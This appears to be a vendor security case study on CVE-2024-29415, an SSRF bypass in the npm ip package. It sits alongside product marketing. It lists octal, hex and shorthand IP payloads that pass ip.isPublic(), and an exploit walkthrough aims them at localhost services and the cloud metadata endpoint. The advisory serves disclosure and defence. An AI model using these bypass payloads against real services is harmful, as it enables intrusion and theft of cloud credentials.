← Back to PullLight
CVE-2024-29415
HIGH — CVSS 8.1
SSRF Bypass in the ip npm Package
ip.isPublic() returns true for octal-encoded private IPs — 17M+ weekly downloads, transitively in LangChain JS and AI/LLM tooling stacks.
LangChain JS in scope. The ip package is a transitive dependency of LangChain.js, LangGraph, and numerous AI/LLM tooling stacks. Any application using those frameworks for agentic pipelines, RAG, or tool-calling is exposed if it uses ip.isPublic() for URL validation.
TL;DR
// what happened
- The vulnerable pattern: Using
ip.isPublic() to gate HTTP requests and block SSRF targets
- The bypass: Octal, hex, and shorthand IPv4 notations bypass
isPublic() checks — 127.1, 017700000001, 0x7f000001, ::fFFf:127.0.0.1 all return true
- Root cause: Incomplete fix for CVE-2023-42282 —
normalizeToLong() doesn't canonicalize all bypass formats
- No patch: Upstream maintainer closed the fix as "not planned". No patched version exists. Workaround: canonicalize before calling
isPublic, or use strict allowlists
- Impact: SSRF to localhost, cloud metadata endpoints (169.254.169.254), internal services — 17M+ weekly downloads at risk
Vulnerable Code — The Classic SSRF Guard
app.js — typical SSRF check using ip.isPublic()
const ip = require('ip');
function fetchURL(url) {
try {
const parsed = new URL(url);
const hostname = parsed.hostname;
// SSRF protection: only allow outbound to public IPs
if (!ip.isPublic(hostname)) {
throw new Error('SSRF blocked: hostname resolves to private IP');
}
// Make the HTTP request...
return http.get(url);
} catch (err) {
console.error('Blocked:', err.message);
}
}
// Usage:
fetchURL('http://127.0.0.1:9000/admin'); // blocked — correct
fetchURL('http://localhost/'); // blocked — correct
fetchURL('http://169.254.169.254/latest/meta-data/'); // blocked — correct
The Bypass — Octal/Encoded Formats Evade isPublic()
// ip.isPublic() — correct vs bypassed results
ip.isPublic('127.0.0.1')
→ false
(correct)
ip.isPublic('127.1')
→ true
(bypass! 127.1 = 127.0.0.1)
ip.isPublic('127.0.1')
→ true
(bypass! 127.0.1 = 127.0.0.1)
ip.isPublic('2130706433')
→ true
(bypass! dotted-quad fallback)
ip.isPublic('017700000001')
→ true
(bypass! 32-bit octal → 127.0.0.1)
ip.isPublic('0x7f000001')
→ true
(bypass! hex → 127.0.0.1)
ip.isPublic('012.1.2.3')
→ true
(bypass! 012 octal = 10 decimal)
ip.isPublic('::fFFf:127.0.0.1')
→ true
(bypass! IPv6-mapped IPv4)
ip.isPublic('000:0:0000::01')
→ true
(bypass! compressed IPv6)
ip.isPublic('169.254.169.254')
→ false
(correct — link-local)
ip.isPublic('0xA9FEA9FE')
→ true
(bypass! 169.254.169.254 in hex)
Exploit Walkthrough — Attacking the SSRF Guard
Attack: fetching cloud metadata via octal-encoded IP
// Legitimate-looking request that bypasses the guard:
fetchURL('http://017700000001/latest/meta-data/');
// ip.isPublic('017700000001') → true ← bypass!
// Resolves to: 127.0.0.1
// But the original string '017700000001' was passed to http.get()
// which resolves it to 127.0.0.1 at socket level
// Cloud metadata attack (if running inside a container/K8s pod):
fetchURL('http://0xA9FEA9FE/latest/meta-data/');
// ip.isPublic('0xA9FEA9FE') → true ← bypass!
// 0xA9FEA9FE = 169.254.169.254 (AWS/GCP/Azure metadata endpoint)
// Attacker gains access to cloud credentials, IAM tokens, secrets
Attack: shorthand notation for localhost port scan
// Shorthand notation — '127.1' is valid shorthand for '127.0.0.1'
// but isPublic() treats '127.1' as a novel address
fetchURL('http://127.1:9000/internal-api'); // Bypassed — reaches localhost:9000
fetchURL('http://127.1:5432/'); // Bypassed — PostgreSQL on localhost
fetchURL('http://127.1:6379/'); // Bypassed — Redis on localhost
// The check passes because '127.1' (string) is not in the private range check
// but the underlying socket resolves '127.1' to 127.0.0.1
Root Cause — Incomplete Fix for CVE-2023-42282
// what happened with the first fix
CVE-2023-42282 was a prior SSRF bypass in the same ip package where isPrivate() and isPublic() didn't handle IPv6-mapped IPv4 addresses. The fix introduced normalizeToLong() to canonicalize addresses before range checks. However, normalizeToLong() only handles a subset of encoding formats — it doesn't handle shorthand IPv4 (127.1), 32-bit octal (017700000001), or hex notation. The fix was incomplete, leaving new bypass paths open.
lib/ip.js — normalizeToLong (incomplete implementation)
ip ≤ 2.0.1 — normalizeToLong() gaps
normalizeToLong(addr) {
// Only handles: full dotted-quad, basic IPv6
// MISSING: shorthand octet (127.1 → 127.0.0.1)
// MISSING: 32-bit integer notation (2130706433)
// MISSING: octal string prefix (017700000001)
// MISSING: hex notation (0x7f000001)
// MISSING: IPv6-mapped IPv4 (::ffff:127.0.0.1)
// ... partial handling only ...
}
// isPublic() calls normalizeToLong() then checks the resulting 32-bit integer
// against private range bounds — but the input was never fully canonicalized
// upstream status: no patch available
The maintainer (indutny/node-ip) closed the fix request with "not planned". No patched version has been released. The package remains vulnerable at ip ≤ 2.0.1. Organizations relying on ip.isPublic() for SSRF protection should implement their own canonicalization before calling isPublic(), or use strict IP allowlists rather than relying on the ip package's range checks.
Why Competitors Miss This
Encoding-edge cases are invisible to syntax-only review
- CodeRabbit / Copilot: Surface-level diff review — the
ip.isPublic() call looks correct. The library's internal handling of non-standard IP encodings is invisible to a line-by-line diff reviewer.
- Greptile: Similar issue —
ip.isPublic(hostname) is a standard, well-named function. It doesn't signal "this is a bypass risk if the input isn't canonicalized first."
- Graphite / Qodo: Focus on code quality and formatting. The canonicalization gap is a semantic issue, not a style issue.
What makes this hard to catch manually
- The
ip package is a transitive dependency — the vulnerable call might be in node_modules/langchain/dist/utils/network.js, not in the application's own code.
- The bypass payloads (
127.1, 017700000001, 0xA9FEA9FE) look like typos or unusual inputs, not like attack payloads at a glance.
- The root cause (incomplete fix for CVE-2023-42282) requires reading the GitHub advisory and understanding what
normalizeToLong() doesn't cover.
- The upstream maintainer closed it as "not planned" — meaning there's no fix coming, and any code using
ip.isPublic() as an SSRF guard is still vulnerable.
Timeline
May 27, 2024
CVE-2024-29415 published by NVD (CVSS 8.1 High)
Jun 2, 2024
GitHub Advisory GHSA-2p57-rm9w-gvfp published
Jun 2024
Upstream maintainer closes fix as "not planned"
Jun 2024
LangChain.js confirms ip is a transitive dependency — AI tooling stacks affected
Jun 2024 – present
No patched version released. ip ≤ 2.0.1 remains vulnerable.
Jun 2026
PullLight documents this case study — help engineers identify the pattern before shipping
Don't let this happen to your PRs
Commit & Resources
Package: npm:ip (17M+ weekly downloads)
ip.isPublic(hostname)does not canonicalize shorthand (127.1), octal (017700000001), or hex (0x7f000001) IP notations before checking ranges. A bypass payload likehttp://017700000001/latest/meta-data/(which resolves to127.0.0.1) will pass the check and reach the local service. Similarly,http://0xA9FEA9FE/resolves to the AWS metadata endpoint (169.254.169.254) at runtime despite theisPublic()call returning true. This is a known bypass vector (CWE-20, CWE-697) introduced by the incomplete fix for CVE-2023-42282.isPublic(): parse throughdns.resolve4()or use a regex to convert shorthand/octal/hex to standard dotted-quad notation first. Alternatively, use a strict allowlist of known-safe IP ranges and resolve all hostnames via DNS before the check.